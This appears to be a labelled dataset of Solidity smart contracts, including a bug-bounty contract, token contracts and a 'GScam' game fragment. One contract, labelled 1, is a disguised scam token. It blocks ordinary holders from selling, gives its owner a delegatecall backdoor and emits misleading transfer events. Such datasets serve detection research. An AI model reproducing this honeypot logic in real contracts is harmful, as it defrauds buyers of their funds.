require(bountyData.getBountySubmitter(bountyId) != address(0));
require(bountyData.isCommitPeriod(bountyId));
uint256 hunterDeposit = bountyData.getBountyHunterDeposit(bountyId);
require(bugDescriptionHash != 0);
require(bountyData.token().transferFrom(hunter, this, hunterDeposit));
uint256 bugId = bountyData.addBugCommitment(hunter, bountyId, bugDescriptionHash, hunterDeposit);
emit LogBugCommitted(bugId, hunter, bountyId, bugDescriptionHash, hunterDeposit);
return true;
}
function revealBug(uint256 bugId, string bugDescription, uint256 nonce) public returns (bool) {
address hunter = msg.sender;
uint256 bountyId = bountyData.getBugCommitBountyId(bugId);
require(bountyData.getBugCommitCommitter(bugId) == hunter);
require(bountyData.isRevealPeriod(bountyId));
require(bountyData.bountyActive(bountyId));
require(keccak256(abi.encodePacked(bugDescription, hunter, nonce)) == bountyData.getBugCommitBugDescriptionHash(bugId));
uint256 pollId = bountyData.voting().startPoll(
bountyData.parameterizer().get("voteQuorum"),
bountyData.getBountyJudgeCommitPhaseEndTimestamp(bountyId).sub(block.timestamp),
bountyData.getBountyJudgeRevealDuration(bountyId)
);
uint256 minVotes = bountyData.getBountyMinVotes(bountyId);
uint256 judgeDeposit = bountyData.getBountyJudgeDeposit(bountyId);
bountyData.voting().restrictPoll(pollId, minVotes, judgeDeposit);
bountyData.addBug(bugId, bugDescription, pollId);
bountyData.addBugToHunter(hunter, bugId);
bountyData.removeBugCommitment(bugId);
emit LogBugRevealed(bountyId, bugId, hunter);
emit LogBugVoteInitiated(bountyId, bugId, pollId);
return true;
}
function rescueHunterDeposit(uint256 bugId) public returns (bool) {
address hunter = msg.sender;
require(bountyData.bugRevealPeriodExpired(bugId));
require(!bountyData.bountyActive(bountyData.getBugBountyId(bugId)));
uint256 bountyId = bountyData.getBugBountyId(bugId);
if (bountyId != 0 && !bountyData.bountyActive(bountyId)) {
require(bountyData.getBugCommitCommitter(bugId) == 0x0);
require(bountyData.getBugHunter(bugId) == hunter);
uint256 pollId = bountyData.getBugPollId(bugId);
require(!bountyData.voting().isEnoughVotes(pollId));
uint256 hunterDeposit = bountyData.getBugNumTokens(bugId);
require(bountyData.token().transfer(hunter, hunterDeposit) && bountyData.removeBugFromHunter(hunter, bugId));
emit LogRevealBugRefund(bugId);
return true;
} else {
require(bountyData.getBugCommitCommitter(bugId) == hunter);
uint256 hunterCommitDeposit = bountyData.getBugCommitNumTokens(bugId);
require(bountyData.token().transfer(hunter, hunterCommitDeposit) && bountyData.removeBugCommitment(bugId));
emit LogRevealBugRefund(bugId);
return true;
}
}
function getNextRevealedBug(uint256 bountyId, uint256 previousBugId) public view returns (bool, uint256, string) {
return bountyData.getNextRevealedBug(bountyId, previousBugId);
}
function getFirstRevealedBug(uint256 bountyId) public view returns (bool, uint256, string) {
return bountyData.getFirstRevealedBug(bountyId);
}
function claimAwardOfBugByHunter(uint256 bugId) public returns (bool) {
if (isBugValidForWithdrawByHunter(bugId)) {
address hunter = msg.sender;
uint256 bountyId = bountyData.getBugBountyId(bugId);
uint256 award = computeHunterAwardPaymentForBug(bountyId);
require(bountyData.token().transfer(hunter, award) && bountyData.removeBugFromHunter(hunter, bugId), "transfer for claim is failed");
return true;
}
return false;
}
function claimAwardOfBugsByHunter() public returns (bool) {
address hunter = msg.sender;
uint256[] memory bugIds = getNotWithdrawnBugs(hunter);
for (uint256 i = 0; i < bugIds.length; i++) {
if (bugIds[i] != 0) {
claimAwardOfBugByHunter(bugIds[i]);
}
}
return true;
}
function withdrawRemainingBounty(uint256 bountyId) public returns (bool) {
address submitter = msg.sender;
require(submitter == bountyData.getBountySubmitter(bountyId));
require(!bountyData.getBountyRemainingFeesWithdrawn(bountyId));
require(!bountyData.bountyActive(bountyId));
uint256 validBugsInBountyCount = allValidBugsInBountyCount(bountyId);
uint256 remainingBounty;
if (validBugsInBountyCount > 0) {
remainingBounty = bountyData.getBountySize(bountyId) % validBugsInBountyCount;
} else {
remainingBounty = bountyData.getBountySize(bountyId);
}
bountyData.setBountyRemainingFeesWithdrawn(bountyId);
bountyData.token().transfer(submitter, remainingBounty);
emit LogBountyWithdrawn(bountyId, submitter, remainingBounty);
}
function claimJudgeAward(uint256 bugId) public returns (bool) {
address judge = msg.sender;
uint256 bountyId = bountyData.getBugBountyId(bugId);
uint256 pollId = bountyData.getBugPollId(bugId);
if (!bountyData.canClaimJudgeAward(judge, bugId)) {
if (bountyData.voting().pollExists(pollId) &&
bountyData.voting().pollEnded(pollId)) {
bountyData.voting().removePollFromVoter(judge, pollId);
}
return false;
}
bountyData.voting().removePollFromVoter(judge, pollId);
uint256 payment = computeJudgeAward(bountyId, pollId, judge);
require(bountyData.token().transfer(judge, payment));
bountyData.voting().setVoterClaimedReward(judge, pollId);
emit LogJudgePaid(bountyId, bugId, judge, payment);
return true;
}
function claimAllJudgeAwards() public returns (bool) {
address judge = msg.sender;
bool exists;
uint256 pollId;
uint256 nextPollId;
uint256 bugId;
bool claimed;
(exists, pollId) = bountyData.voting().getNextPollFromVoter(judge, bountyData.voting().getListHeadConstant());
while (exists) {
(exists, nextPollId) = bountyData.voting().getNextPollFromVoter(judge, pollId);
bugId = bountyData.getBugIdFromPollId(pollId);
claimed = claimJudgeAward(bugId);
pollId = nextPollId;
}
}
function trackJudgeAwards() public view returns(uint256) {
address judge = msg.sender;
bool exists;
uint256 bountyId;
uint256 pollId;
uint256 bugId;
uint256 hunterDeposit;
uint256 judgeVotes;
uint256 totalVotesForWinningSide;
uint256 payment;
uint256 totalPayment;
(exists, pollId) = bountyData.voting().getNextPollFromVoter(judge, bountyData.voting().getListHeadConstant());
while (exists) {
bugId = bountyData.getBugIdFromPollId(pollId);
bountyId = bountyData.getBugBountyId(bugId);
if (bountyData.canClaimJudgeAward(judge, bugId)) {
hunterDeposit = bountyData.getBountyHunterDeposit(bountyId);
judgeVotes = bountyData.voting().getNumPassingTokens(judge, pollId);
totalVotesForWinningSide = bountyData.voting().getTotalNumberOfTokensForWinningOption(pollId);
payment = computeJudgeAward(bountyId, pollId, judge);
totalPayment = totalPayment.add(payment);
}
(exists, pollId) = bountyData.voting().getNextPollFromVoter(judge, pollId);
}
return totalPayment;
}
function trackEarnedBounties() public view returns(uint256) {
address hunter = msg.sender;
uint256 totalAward = 0;
uint256[] memory bugIds = getNotWithdrawnBugs(hunter);
for (uint256 i = 0; i < bugIds.length; i++) {
if (bugIds[i] != 0) {
uint256 bountyId = bountyData.getBugBountyId(bugIds[i]);
totalAward = totalAward.add(computeHunterAwardPaymentForBug(bountyId));
}
}
return totalAward;
}
function computeJudgeAward(uint256 bountyId, uint256 pollId, address judge) internal view returns (uint256) {
uint256 judgeVotes = bountyData.voting().getNumPassingTokens(judge, pollId);
assert(judgeVotes != 0);
uint256 hunterDeposit = bountyData.getBountyHunterDeposit(bountyId);
uint256 totalVotesForWinningSide = bountyData.voting().getTotalNumberOfTokensForWinningOption(pollId);
if (bountyData.voting().isPassed(pollId)) {
uint256 numApprovedBugs = allValidBugsInBountyCount(bountyId);
uint256 bountySize = bountyData.getBountySize(bountyId);
uint256 award = computeHunterAwardPaymentForBug(bountyId);
if (award == bountyData.getBountyHunterDeposit(bountyId)) {
return (bountySize.mul(judgeVotes).div(totalVotesForWinningSide)).div(numApprovedBugs);
} else {
return hunterDeposit.mul(judgeVotes).div(totalVotesForWinningSide);
}
} else {
return hunterDeposit.mul(judgeVotes).div(totalVotesForWinningSide);
}
}
function computeHunterAwardPaymentForBug(uint256 bountyId) internal view returns (uint256) {
uint256 validBugsInBountyCount = allValidBugsInBountyCount(bountyId);
require(validBugsInBountyCount > 0, "expected at least one valid bugId");
uint256 huntersAward = bountyData.getBountySize(bountyId);
uint256 award = huntersAward.div(validBugsInBountyCount);
if (award < bountyData.getBountyHunterDeposit(bountyId)) {
return bountyData.getBountyHunterDeposit(bountyId);
}
return award;
}
function isBugValidForWithdrawByHunter(uint256 bugId) internal view returns (bool) {
uint256 bountyId = bountyData.getBugBountyId(bugId);
bool isDurationPassed = bountyData.getBountyInitiationTimestamp(bountyId).add(bountyData.getBountyDuration(bountyId)) < block.timestamp;
uint256 pollId = bountyData.getBugPollId(bugId);
bool isVoted;
if (bountyData.voting().pollExists(pollId) && bountyData.voting().pollEnded(pollId)) {
isVoted = bountyData.voting().isPassed(pollId);
} else {
isVoted = false;
}
return isDurationPassed && isVoted;
}
function getNotWithdrawnBugs(address hunter) internal view returns (uint256[] memory) {
uint256[] memory bugIds = new uint256[](bountyData.getHunterReportedBugsCount(hunter));
uint256 bugIdsIndex;
uint256 bugId;
bool exists;
(exists, bugId) = bountyData.getNextBugFromHunter(hunter, bountyData.getListHeadConstant());
while (exists) {
if (isBugValidForWithdrawByHunter(bugId)) {
bugIds[bugIdsIndex] = bugId;
bugIdsIndex = bugIdsIndex.add(1);
}
(exists, bugId) = bountyData.getNextBugFromHunter(hunter, bugId);
}
return bugIds;
}
function allValidBugsInBountyCount(uint256 bountyId) internal view returns(uint256) {
return bountyData.getNumApprovedBugs(bountyId);
}
}
| 0 | 234 |
pragma solidity ^0.4.8;
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract MyToken {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event FrozenFunds(address target, uint256 frozen);
function MyToken() {
balanceOf[msg.sender] = 3330000000000;
totalSupply = 3330000000000;
name = 'Hubcoin';
symbol = 'HUB';
decimals = 6;
}
function transfer(address _to, uint256 _value) {
uint forbiddenPremine = 1501545600 - block.timestamp + 86400*365;
if (forbiddenPremine < 0) forbiddenPremine = 0;
require(_to != 0x0);
require(balanceOf[msg.sender] > _value + frozenAccount[msg.sender] * forbiddenPremine / (86400*365) );
require(balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value)
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
uint forbiddenPremine = 1501545600 - block.timestamp + 86400*365;
if (forbiddenPremine < 0) forbiddenPremine = 0;
require(_to != 0x0);
require(balanceOf[_from] > _value + frozenAccount[_from] * forbiddenPremine / (86400*365) );
require(balanceOf[_to] + _value > balanceOf[_to]);
require(_value < allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) returns (bool success) {
require(balanceOf[msg.sender] > _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balanceOf[_from] > _value);
require(_value < allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
function freezeAccount(address target, uint256 freeze) {
require(msg.sender == 0x02A97eD35Ba18D2F3C351a1bB5bBA12f95Eb1181);
require(block.timestamp < 1502036759 + 3600*10);
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
}
| 0 | 732 |
pragma solidity ^0.4.23;
contract CoinHb
{
address public admin_address = 0xDc821453943366A39D7A591fB2e5223a5270AD7c;
address public account_address = 0xDc821453943366A39D7A591fB2e5223a5270AD7c;
mapping(address => uint256) balances;
string public name = "H token";
string public symbol = "HB";
uint8 public decimals = 18;
uint256 initSupply = 100000000;
uint256 public totalSupply = 0;
constructor()
payable
public
{
totalSupply = mul(initSupply, 10**uint256(decimals));
balances[account_address] = totalSupply;
}
function balanceOf( address _addr ) public view returns ( uint )
{
return balances[_addr];
}
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = sub(balances[msg.sender],_value);
balances[_to] = add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
mapping (address => mapping (address => uint256)) internal allowed;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = sub(balances[_from], _value);
balances[_to] = add(balances[_to], _value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
bool public direct_drop_switch = true;
uint256 public direct_drop_rate = 5000;
address public direct_drop_address = 0xb4C08065eBE4E42396f77A2b335F09038e94fA2D;
address public direct_drop_withdraw_address = 0xb4C08065eBE4E42396f77A2b335F09038e94fA2D;
bool public direct_drop_range = false;
uint256 public direct_drop_range_start = 1542628500;
uint256 public direct_drop_range_end = 1574164500;
event TokenPurchase
(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function buyTokens( address _beneficiary )
public
payable
returns (bool)
{
require(direct_drop_switch);
require(_beneficiary != address(0));
if( direct_drop_range )
{
require(block.timestamp >= direct_drop_range_start && block.timestamp <= direct_drop_range_end);
}
uint256 tokenAmount = div(mul(msg.value,direct_drop_rate ), 10**18);
uint256 decimalsAmount = mul( 10**uint256(decimals), tokenAmount);
require
(
balances[direct_drop_address] >= decimalsAmount
);
assert
(
decimalsAmount > 0
);
uint256 all = add(balances[direct_drop_address], balances[_beneficiary]);
balances[direct_drop_address] = sub(balances[direct_drop_address], decimalsAmount);
balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount);
assert
(
all == add(balances[direct_drop_address], balances[_beneficiary])
);
emit TokenPurchase
(
msg.sender,
_beneficiary,
msg.value,
tokenAmount
);
return true;
}
bool public air_drop_switch = true;
uint256 public air_drop_rate = 10;
address public air_drop_address = 0x102f8cF3CfaaF0715596Adeca8684ba6FB7A3A83;
uint256 public air_drop_count = 1;
mapping(address => uint256) airdrop_times;
bool public air_drop_range = false;
uint256 public air_drop_range_start = 1542628500;
uint256 public air_drop_range_end = 1574164500;
event TokenGiven
(
address indexed sender,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function airDrop( address _beneficiary )
public
payable
returns (bool)
{
require(air_drop_switch);
require(_beneficiary != address(0));
if( air_drop_range )
{
require(block.timestamp >= air_drop_range_start && block.timestamp <= air_drop_range_end);
}
if( air_drop_count > 0 )
{
require
(
airdrop_times[_beneficiary] <= air_drop_count
);
}
uint256 tokenAmount = air_drop_rate;
uint256 decimalsAmount = mul(10**uint256(decimals), tokenAmount);
require
(
balances[air_drop_address] >= decimalsAmount
);
assert
(
decimalsAmount > 0
);
uint256 all = add(balances[air_drop_address], balances[_beneficiary]);
balances[air_drop_address] = sub(balances[air_drop_address], decimalsAmount);
balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount);
assert
(
all == add(balances[air_drop_address], balances[_beneficiary])
);
emit TokenGiven
(
msg.sender,
_beneficiary,
msg.value,
tokenAmount
);
return true;
}
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public
{
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal
{
require(_value <= balances[_who]);
balances[_who] = sub(balances[_who], _value);
totalSupply = sub(totalSupply, _value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
modifier admin_only()
{
require(msg.sender==admin_address);
_;
}
function setAdmin( address new_admin_address )
public
admin_only
returns (bool)
{
require(new_admin_address != address(0));
admin_address = new_admin_address;
return true;
}
function setAirDrop( bool status )
public
admin_only
returns (bool)
{
air_drop_switch = status;
return true;
}
function setDirectDrop( bool status )
public
admin_only
returns (bool)
{
direct_drop_switch = status;
return true;
}
function withDraw()
public
{
require(msg.sender == admin_address || msg.sender == direct_drop_withdraw_address);
require(address(this).balance > 0);
direct_drop_withdraw_address.transfer(address(this).balance);
}
function () external payable
{
if( msg.value > 0 )
buyTokens(msg.sender);
else
airDrop(msg.sender);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
| 0 | 1,238 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
| 1 | 4,189 |
pragma solidity ^0.4.24;
contract GEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularGScam is GEvents {}
contract GScam is modularGScam {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
PlayerBookInterface private PlayerBook;
address private admin = msg.sender;
address private yyyy;
address private gggg;
string constant public name = "GScam Round #1";
string constant public symbol = "GS1";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private preIcoMax_ = 100000000000000000000;
uint256 constant private preIcoPerEth_ = 1000000000000000000;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
RSdatasets.Round public round_;
uint256 public fees_ = 50;
uint256 public potSplit_ = 30;
uint256 constant private affLv1_ = 50;
uint256 constant private affLv2_ = 30;
uint256 constant private affLv3_ = 20;
uint256 constant private affTol = 20;
constructor(PlayerBookInterface _PlayerBook, address _yyyy, address _gggg)
public
{
PlayerBook = _PlayerBook;
yyyy = _yyyy;
gggg = _gggg;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode != plyr_[_pID].laff && _affCode != _pID && plyr_[_pID].laff == 0) {
plyr_[_pID].laff = _affCode;
}
_affCode = plyr_[_pID].laff;
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
